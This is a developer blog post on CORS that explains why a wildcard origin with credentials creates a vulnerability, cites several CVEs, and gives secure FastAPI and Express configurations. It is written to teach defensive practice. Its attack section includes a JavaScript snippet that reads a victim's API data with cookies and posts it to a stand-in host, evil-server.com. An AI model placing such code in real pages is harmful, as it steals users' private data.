CORS Explained: Why Your API Returns Weird Errors
Security First — Part 13 of 30
It's 11 PM on a Friday. You've just deployed your new AI-generated app — a slick React frontend talking to a Python FastAPI backend. Everything worked flawlessly in development. You open your browser, navigate to your shiny new production URL, and... nothing. You crack open DevTools and find this staring back at you:
Access to fetch at 'https://api.myapp.com/data' from origin
'https://myapp.com' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the
requested resource.
Your first instinct? Ask your AI assistant to "just fix the CORS error." It helpfully adds one line to your code:
# Don't do this
Access-Control-Allow-Origin: *
Problem solved! Except... you've just unlocked one of the most common and quietly devastating security mistakes in modern web development. Let's talk about why.
What CORS Actually Is (And Why It Exists)
Before browsers had CORS, any website you visited could silently make requests to your bank, your email, your company dashboard — using your logged-in session cookies — and read back the responses. This is the nightmare scenario CORS was designed to prevent.
The browser's Same-Origin Policy (SOP) is the bouncer at the door. It says: "JavaScript running on myapp.com can only talk to myapp.com." Period.
But modern apps need to break that rule legitimately. Your React frontend at app.mycompany.com genuinely does need to talk to your API at api.mycompany.com. CORS is the official protocol for granting those exceptions safely.
Here's the two-step dance:
Step 1 — Preflight (the browser checks first):
OPTIONS /api/user-data HTTP/1.1
Host: api.mycompany.com
Origin: https://app.mycompany.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization
Step 2 — Server responds with permission:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.mycompany.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Only then does the browser send the actual request. This entire conversation happens invisibly — until something goes wrong.
The Dangerous Misconfiguration Your AI Might Generate
Here's the thing about AI coding assistants: they're optimized to make your error go away. They're not always optimized to keep you safe. The fastest fix to any CORS error is the wildcard:
# FastAPI — the "just make it work" approach (dangerous!)
from fastapi.middleware.cors import CORSMiddleware
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # 🚨 Any website can call your API
allow_credentials=True, # 🚨 AND they can use your users' cookies
allow_methods=["*"],
allow_headers=["*"],
)
This exact pattern — allow_origins=["*"] combined with allow_credentials=True — is not just bad practice. It's a broken configuration that actively creates a vulnerability.
In March 2026, security researchers disclosed CVE-2026-32610 affecting Glances, a popular open-source system monitoring tool. The culprit? The default configuration shipped with exactly this combination: cors_origins=* and cors_credentials=True. Because of how Starlette's CORS middleware handles this invalid pairing, it reflected the requesting Origin header verbatim — meaning any website could make authenticated requests to the Glances API and steal system monitoring data, configuration secrets, and command-line arguments (which often contain passwords and API keys). The fix in version 4.5.2 was simply changing cors_credentials to default to False.
This wasn't an isolated case. In late 2025, CVE-2025-55462 exposed the same pattern in Eramba, an enterprise risk management platform used in corporate security teams. An attacker's JavaScript could silently call /system-api/user/me, receive the victim's user ID, email, name, and access group memberships — enabling full session hijack without any user interaction beyond visiting a malicious page.
And in December 2025, Dify — the popular open-source LLM application platform — was flagged with CVE-2025-63386 for reflecting arbitrary Origin headers on its /console/api/setup endpoint while keeping Access-Control-Allow-Credentials: true. Attackers could bootstrap malicious actions against any authenticated Dify user simply by getting them to visit a crafted webpage.
Three different products. Three different industries. One identical root cause. The AI-generated "quick fix" made real.
How an Attack Actually Works (So You Get Why This Matters)
Imagine you've built a project management tool at dashboard.acme.com. You've got users logged in with session cookies. Your CORS config reflects any origin with credentials allowed.
An attacker registers acme-dashboard.com (close enough to fool some people). They put this on the page:
// On the attacker's site: acme-dashboard.com
fetch('https://dashboard.acme.com/api/projects', {
method: 'GET',
credentials: 'include' // Sends the victim's cookies!
})
.then(response => response.json())
.then(data => {
// Ship all project data to the attacker's server
fetch('https://evil-server.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Because your CORS config reflects any origin, the browser sees a valid Access-Control-Allow-Origin header matching the attacker's domain, plus Access-Control-Allow-Credentials: true. It happily includes the user's session cookie. Your API responds with real data. That data flies to evil-server.com. The user sees nothing unusual.
The Right Way to Configure CORS
In Python (FastAPI)
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import os
app = FastAPI()
# Pull allowed origins from environment variables — never hardcode in prod
ALLOWED_ORIGINS = os.getenv("CORS_ALLOWED_ORIGINS", "").split(",")
# For local dev, you might have: CORS_ALLOWED_ORIGINS=http://localhost:3000
# For production: CORS_ALLOWED_ORIGINS=https://app.mycompany.com
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS, # ✅ Explicit whitelist only
allow_credentials=True, # Only if you truly need cookies
allow_methods=["GET", "POST", "PUT", "DELETE"],
allow_headers=["Content-Type", "Authorization"],
)
In Node.js / Express
import cors from 'cors';
const allowedOrigins = [
'https://app.mycompany.com',
'https://staging.mycompany.com',
// Add localhost ONLY for dev — use env vars in practice
...(process.env.NODE_ENV === 'development' ? ['http://localhost:3000'] : [])
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, curl)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error(`CORS blocked: ${origin} not in allowlist`));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
Quick Checks in the Terminal
Always verify your CORS headers before shipping:
# Test what your server actually returns
curl -I -X OPTIONS https://api.myapp.com/endpoint \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET"
# Look at the response — if you see:
# Access-Control-Allow-Origin: https://evil.com
# ...you have a problem.
# Check production headers live
curl -s -o /dev/null -D - https://api.myapp.com/endpoint \
-H "Origin: https://myapp.com" | grep -i "access-control"
The Decision Map: Should I Use * or an Allowlist?
| Situation | Use * |
Use Explicit Origins |
|---|---|---|
| Public read-only API (no auth) | ✅ Fine | Optional |
| API with user accounts / sessions | ❌ Never | ✅ Required |
| API that sends auth tokens | ❌ Never | ✅ Required |
| Internal tool / dashboard | ❌ Never | ✅ Required |
| Public CDN for static assets | ✅ Fine | Optional |
The golden rule: If allow_credentials: true is in your config, you cannot use * for origins — ever. The browser spec forbids it, but some server frameworks silently work around it in ways that create the exact vulnerability pattern seen in Glances, Eramba, and Dify.
The Extra Headers That Really Lock Things Down
CORS doesn't operate in isolation. Stack these additional headers for defense in depth:
# Add to your FastAPI app's response middleware
@app.middleware("http")
async def add_security_headers(request, call_next):
response = await call_next(request)
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "DENY"
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
response.headers["Cross-Origin-Resource-Policy"] = "same-site"
return response
What each one does:
X-Content-Type-Options: nosniff— prevents browsers from guessing content types, blocking a class of injection attacksX-Frame-Options: DENY— stops your app from being embedded in iframes on attacker sites (clickjacking)Referrer-Policy— controls how much URL info leaks to third partiesCross-Origin-Resource-Policy— tells browsers your resources shouldn't be loaded cross-origin at all, unless explicitly allowed
What To Do Right Now
If you've been letting AI tools manage your CORS config without reviewing it, here's your Friday checklist:
Audit Checklist:
- Open your CORS config (FastAPI middleware, Express cors(), nginx conf, etc.)
- If you see
allow_origins=["*"]ororigin: "*"— flag it immediately - If
allow_credentials: trueexists alongside any wildcard origin — that's an active vulnerability - Check for
.envvs. hardcoded origin lists — origins should come from environment variables - Run the
curl -I -X OPTIONStest above against your production API with a fake origin (evil.com). If the response mirrors it back, you're vulnerable - Add the four security headers above to every API response
- If you have a load balancer or CDN (Cloudflare, AWS CloudFront), verify it's not stripping or overriding your CORS headers
- For localhost dev only: use
http://localhost:3000explicitly, not* - Document your allowed origins list in your project README so future developers (and future AI sessions) know the intent
If You're Using a Framework or Tool With Default CORS Settings: Check the version. The Glances vulnerability (CVE-2026-32610) affected all versions prior to 4.5.2. The Dify vulnerability (CVE-2025-63386) was in v1.9.1. Any open-source tool you're running that exposes a web UI or REST API is worth checking — default configs are where attackers shop.
Ask The Guild
This week's community prompt:
Have you ever inherited a CORS config you didn't write — or had an AI tool generate one that made you uneasy? Share what you found, how you diagnosed it, and what you changed. Bonus points if you have a curl one-liner that helped you catch it.
Drop your story in the #security-first channel. The best responses this week become case studies in Part 14.
Tom Hundley is a software architect with 25 years of experience. He writes the Security First series to help vibe coders build things that stay safe after deployment.
Sources:
- CVE-2026-32610 — Glances REST API CORS XSS Vulnerability (SentinelOne)
- CVE-2025-55462 — Eramba CORS Misconfiguration (SentinelOne)
- CVE-2025-63386 — Dify CORS Misconfiguration (NVD)
- CORS Vulnerabilities: Mitigation and Best Practices (OWASP / SecureLayer7)
- Testing Cross Origin Resource Sharing (OWASP WSTG)